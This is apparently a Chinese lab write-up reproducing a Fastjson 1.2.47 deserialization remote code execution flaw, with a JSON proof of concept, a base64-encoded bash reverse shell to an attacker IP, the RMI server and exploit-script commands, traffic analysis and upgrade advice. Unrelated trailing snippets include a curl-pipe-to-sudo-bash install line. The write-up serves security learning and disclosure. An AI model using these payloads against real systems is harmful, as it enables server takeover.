Fastjson远程代码执行漏洞复现
fastjson漏洞简介
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
fastjson漏洞原理
先来分析fastjson 1.2.47的POC
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://x.x.x.x:8080/Exphub",
        "autoCommit": true
    }
}
对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)
除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE
Fastjson漏洞环境搭建
- 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
- 主机B含有恶意java类 IP地址192.168.2.102
- 主机C含有RMI服务 IP地址192.168.2.102
- 接收反弹shell-kali-linux IP地址192.168.2.103
主机A搭建含有fastjson1.2.47-rce漏洞环境

Fastjson漏洞环境复现
fastjson_tool.jar
fastjson-1.2.47_rce.py
反弹shell
- kali-linux执行nc监听6666端口
nc -lvp 6666

- 主机B开启RMI服务,加载远程恶意java类
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

- 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object

- 反弹shell成功

fastjson漏洞攻击流量分析
- 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

- 流量可以看到远程调用成功执行Object.class恶意类

- 执行命令服务器返回的信息

fastjson漏洞影响版本
- fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
- fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
- fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
- fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
- fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
- fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
- fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
- fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞
fastjson漏洞修复措施
升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施
fastjson漏洞参考链接
cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞
阿里fastjson漏洞公告
Fastjson 1.2.24-1.2.47全漏洞RCE
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!
Fastjson远程代码执行漏洞复现的更多相关文章
- Tomcat/7.0.81 远程代码执行漏洞复现
		Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ... 
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
		CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ... 
- IIS6远程代码执行漏洞复现CVE-2017-7269
		简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ... 
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
		摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ... 
- Apache log4j2 远程代码执行漏洞复现👻
		Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ... 
- PHP远程代码执行漏洞复现(CVE-2019-11043)
		漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ... 
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
		漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ... 
- CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现
		漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ... 
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
		1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ... 
随机推荐
- linux 安装配置zerotier
			1.在线安装zerotier curl -s https://install.zerotier.com/ | sudo bash 2.添加开机自启 $ sudo systemctl enable ze ... 
- OpenCV开发笔记(七十二):红胖子8分钟带你使用opencv+dnn+tensorFlow识别物体
			前言 级联分类器的效果并不是很好,准确度相对深度学习较低,本章使用opencv通过tensorflow深度学习,检测已有模型的分类. Demo 可以猜测,1其实是人,18序号类是狗 ... 
- sentinel控制台的使用
			一,下载sentinel控制台:sentinel-dashboard-1.7.0.jar , 注 1.7.1版本控制台与最新的sentinel有冲突,会报invalid type错误 二,启动sent ... 
- 高精度算法求n阶阶乘
			1 #include "stdio.h" 2 #include "String.h" 3 #define MAX 10000 4 int f[MAX]; 5 v ... 
- MapReduce工作原理详解
			文章概览: 1.MapReduce简介 2.MapReduce有哪些角色?各自的作用是什么? 3.MapReduce程序执行流程 4.MapReduce工作原理 5.MapReduce中Shuffle ... 
- vue 路由知识点(一级路由与二级路由嵌套)
			本人小白一个,如果问题,麻烦大神指点, 一级路由: path:'/' 默认为显示; 二级路由: path: '',默认显示为index组件,因为二级路有没有写index组件,所以使用redirect: ... 
- Sec-Fetch-*请求头,了解下?
			如果你使用76+版本的chrome浏览器,通过开发者面板查看每个网络请求,会发现都有几个Sec-Fetch开头的请求头,例如访问百度首页https://www.baidu.com/的请求: Sec-F ... 
- github初始化版本
			git命令上传初始化项目 (1)先去github创建自己的项目版本 (2)然后找到自己想要上传代码版本的目录$ git init $ git add ./src ./pom.xml $ git com ... 
- JavaScript实现基于对象的队列
			class Queue { constructor() { this.count = 0; this.lowestCount = 0; this.items = {}; } enqueue(eleme ... 
- 云计算管理平台之OpenStack镜像服务glance
			一.glance简介 openstack中的glance服务是用来存储在openstack上启动虚拟机所需镜像:它主要用于发现.注册及检索虚拟机镜像:它通过提供RESTful风格的api对外提供服务: ... 
